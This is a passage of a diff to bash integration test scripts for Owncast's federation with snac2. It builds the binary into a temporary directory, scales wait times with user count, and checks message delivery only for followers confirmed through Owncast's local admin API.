log_error "Certificates not found in ${CERT_DIR}"
|
||||||
@@ -390,11 +392,12 @@ verify_snac_shared_inbox() {
|
|||||||
build_owncast() {
|
build_owncast() {
|
||||||
log_info "Building Owncast..."
|
log_info "Building Owncast..."
|
||||||
|
|
||||||
|
OWNCAST_BIN="${TEMP_DIR}/owncast"
|
||||||
pushd "${REPO_ROOT}" > /dev/null
|
pushd "${REPO_ROOT}" > /dev/null
|
||||||
CGO_ENABLED=1 go build -o owncast main.go
|
CGO_ENABLED=1 go build -o "${OWNCAST_BIN}" main.go
|
||||||
popd > /dev/null
|
popd > /dev/null
|
||||||
|
|
||||||
log_info "Owncast built"
|
log_info "Owncast built: ${OWNCAST_BIN}"
|
||||||
}
|
}
|
||||||
|
|
||||||
start_owncast() {
|
start_owncast() {
|
||||||
@@ -403,7 +406,7 @@ start_owncast() {
|
|||||||
# Start Owncast with test environment variables and debug flags
|
# Start Owncast with test environment variables and debug flags
|
||||||
OWNCAST_ALLOW_INTERNAL_FEDERATION=true \
|
OWNCAST_ALLOW_INTERNAL_FEDERATION=true \
|
||||||
OWNCAST_INSECURE_SKIP_VERIFY=true \
|
OWNCAST_INSECURE_SKIP_VERIFY=true \
|
||||||
"${REPO_ROOT}/owncast" -database "${OWNCAST_DB}" &
|
"${OWNCAST_BIN}" -database "${OWNCAST_DB}" &
|
||||||
OWNCAST_PID=$!
|
OWNCAST_PID=$!
|
||||||
|
|
||||||
log_info "Owncast started with PID ${OWNCAST_PID}"
|
log_info "Owncast started with PID ${OWNCAST_PID}"
|
||||||
@@ -539,8 +542,8 @@ send_follow_requests() {
|
|||||||
log_info "snac2 queue has ${queue_count} pending items"
|
log_info "snac2 queue has ${queue_count} pending items"
|
||||||
|
|
||||||
# Give snac2 background thread time to process all pending follows
|
# Give snac2 background thread time to process all pending follows
|
||||||
# Wait longer for more users
|
# Each follow requires an HTTP round-trip; scale wait with user count
|
||||||
local wait_time=$((10 + USER_COUNT / 10))
|
local wait_time=$((10 + USER_COUNT / 5))
|
||||||
log_info "Waiting ${wait_time}s for snac2 to process follow requests..."
|
log_info "Waiting ${wait_time}s for snac2 to process follow requests..."
|
||||||
sleep "${wait_time}"
|
sleep "${wait_time}"
|
||||||
}
|
}
|
||||||
@@ -562,6 +565,28 @@ verify_followers() {
|
|||||||
echo "${count}"
|
echo "${count}"
|
||||||
}
|
}
|
||||||
|
|
||||||
|
populate_confirmed_followers() {
|
||||||
|
# Query Owncast API for actual registered followers and map their IRIs
|
||||||
|
# back to snac2 usernames so we only check those inboxes for delivery.
|
||||||
|
CONFIRMED_FOLLOWERS=()
|
||||||
|
local auth
|
||||||
|
auth=$(echo -n "${ADMIN_USER}:${ADMIN_PASS}" | base64)
|
||||||
|
|
||||||
|
local response
|
||||||
|
response=$(curl -s "http://localhost:${OWNCAST_PORT}/api/admin/followers?limit=1000" \
|
||||||
|
-H "Authorization: Basic ${auth}" 2>/dev/null || echo '{"results":[]}')
|
||||||
|
|
||||||
|
# Follower IRIs look like https://snac.local:8443/username
|
||||||
|
while IFS= read -r iri; do
|
||||||
|
if [[ -n "${iri}" ]]; then
|
||||||
|
local username="${iri##*/}"
|
||||||
|
CONFIRMED_FOLLOWERS+=("${username}")
|
||||||
|
fi
|
||||||
|
done < <(echo "${response}" | jq -r '.results[]?.link // empty' 2>/dev/null)
|
||||||
|
|
||||||
|
log_info "Confirmed ${#CONFIRMED_FOLLOWERS[@]} follower usernames from Owncast API"
|
||||||
|
}
|
||||||
|
|
||||||
send_test_message() {
|
send_test_message() {
|
||||||
log_info "Sending test message from Owncast..."
|
log_info "Sending test message from Owncast..."
|
||||||
|
|
||||||
@@ -579,9 +604,16 @@ send_test_message() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
check_snac_inboxes_count() {
|
check_snac_inboxes_count() {
|
||||||
local users_with_messages=0
|
# Only check users confirmed as followers by Owncast, not all snac2 users.
|
||||||
|
# snac2's shared inbox distributes messages to all users it considers followers,
|
||||||
|
# which may include users whose follow hasn't been registered by Owncast yet.
|
||||||
|
local usernames_to_check=("${CONFIRMED_FOLLOWERS[@]}")
|
||||||
|
if [[ ${#usernames_to_check[@]} -eq 0 ]]; then
|
||||||
|
usernames_to_check=("${SNAC_USERNAMES[@]}")
|
||||||
|
fi
|
||||||
|
|
||||||
for username in "${SNAC_USERNAMES[@]}"; do
|
local users_with_messages=0
|
||||||
|
for username in "${usernames_to_check[@]}"; do
|
||||||
if user_has_message "${username}"; then
|
if user_has_message "${username}"; then
|
||||||
users_with_messages=$((users_with_messages + 1))
|
users_with_messages=$((users_with_messages + 1))
|
||||||
fi
|
fi
|
||||||
@@ -614,11 +646,16 @@ user_has_message() {
|
|||||||
check_snac_inboxes() {
|
check_snac_inboxes() {
|
||||||
log_info "Checking snac2 user inboxes for delivered messages..." >&2
|
log_info "Checking snac2 user inboxes for delivered messages..." >&2
|
||||||
|
|
||||||
|
local usernames_to_check=("${CONFIRMED_FOLLOWERS[@]}")
|
||||||
|
if [[ ${#usernames_to_check[@]} -eq 0 ]]; then
|
||||||
|
usernames_to_check=("${SNAC_USERNAMES[@]}")
|
||||||
|
fi
|
||||||
|
|
||||||
local users_with_messages=0
|
local users_with_messages=0
|
||||||
local users_without_messages=()
|
local users_without_messages=()
|
||||||
local total=${#SNAC_USERNAMES[@]}
|
local total=${#usernames_to_check[@]}
|
||||||
|
|
||||||
for username in "${SNAC_USERNAMES[@]}"; do
|
for username in "${usernames_to_check[@]}"; do
|
||||||
if user_has_message "${username}"; then
|
if user_has_message "${username}"; then
|
||||||
users_with_messages=$((users_with_messages + 1))
|
users_with_messages=$((users_with_messages + 1))
|
||||||
else
|
else
|
||||||
@@ -626,7 +663,7 @@ check_snac_inboxes() {
|
|||||||
fi
|
fi
|
||||||
done
|
done
|
||||||
|
|
||||||
log_test "${users_with_messages}/${total} users received the message" >&2
|
log_test "${users_with_messages}/${total} confirmed followers received the message" >&2
|
||||||
|
|
||||||
if [[ ${#users_without_messages[@]} -gt 0 ]] && [[ ${#users_without_messages[@]} -le 10 ]]; then
|
if [[ ${#users_without_messages[@]} -gt 0 ]] && [[ ${#users_without_messages[@]} -le 10 ]]; then
|
||||||
log_warn "Users missing messages: ${users_without_messages[*]}" >&2
|
log_warn "Users missing messages: ${users_without_messages[*]}" >&2
|
||||||
@@ -847,7 +884,7 @@ main() {
|
|||||||
|
|
||||||
# Wait for all followers to be registered (with timeout)
|
# Wait for all followers to be registered (with timeout)
|
||||||
local followers=0
|
local followers=0
|
||||||
local max_wait=60 # Maximum seconds to wait for followers
|
local max_wait=$((60 + USER_COUNT)) # Scale timeout with user count
|
||||||
local waited=0
|
local waited=0
|
||||||
local check_interval=2
|
local check_interval=2
|
||||||
|
|
||||||
@@ -889,6 +926,7 @@ main() {
|
|||||||
echo "----------------------------------------"
|
echo "----------------------------------------"
|
||||||
echo "STEP 4: Owncast sends message to followers"
|
echo "STEP 4: Owncast sends message to followers"
|
||||||
echo "----------------------------------------"
|
echo "----------------------------------------"
|
||||||
|
populate_confirmed_followers
|
||||||
send_test_message
|
send_test_message
|
||||||
echo ""
|
echo ""
|
||||||
|
|
||||||
|
|||||||
@@ -31,6 +31,7 @@ TEST_START_TIME=""
|
|||||||
|
|
||||||
# Directories
|
# Directories
|
||||||
TEMP_DIR=""
|
TEMP_DIR=""
|
||||||
|
OWNCAST_BIN=""
|
||||||
OWNCAST_DB=""
|
OWNCAST_DB=""
|
||||||
|
|
||||||
# PIDs
|
# PIDs
|
||||||
@@ -151,11 +152,12 @@ setup_temp_dir() {
|
|||||||
build_owncast() {
|
build_owncast() {
|
||||||
log_info "Building Owncast..."
|
log_info "Building Owncast..."
|
||||||
|
|
||||||
|
OWNCAST_BIN="${TEMP_DIR}/owncast"
|
||||||
pushd "${REPO_ROOT}" > /dev/null
|
pushd "${REPO_ROOT}" > /dev/null
|
||||||
CGO_ENABLED=1 go build -o owncast main.go
|
CGO_ENABLED=1 go build -o "${OWNCAST_BIN}" main.go
|
||||||
popd > /dev/null
|
popd > /dev/null
|
||||||
|
|
||||||
log_info "Owncast built"
|
log_info "Owncast built: ${OWNCAST_BIN}"
|
||||||
}
|
}
|
||||||
|
|
||||||
start_owncast() {
|
start_owncast() {
|
||||||
@@ -164,7 +166,7 @@ start_owncast() {
|
|||||||
# Start Owncast with test configuration
|
# Start Owncast with test configuration
|
||||||
OWNCAST_ALLOW_INTERNAL_FEDERATION=true \
|
OWNCAST_ALLOW_INTERNAL_FEDERATION=true \
|
||||||
OWNCAST_INSECURE_SKIP_VERIFY=true \
|
OWNCAST_INSECURE_SKIP_VERIFY=true \
|
||||||
"${REPO_ROOT}/owncast" \
|
"${OWNCAST_BIN}" \
|
||||||
-database "${OWNCAST_DB}" \
|
-database "${OWNCAST_DB}" \
|
||||||
-followervalidationinterval "${VALIDATION_INTERVAL}" \
|
-followervalidationinterval "${VALIDATION_INTERVAL}" \
|
||||||
-enableVerboseLogging &
|
-enableVerboseLogging &
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user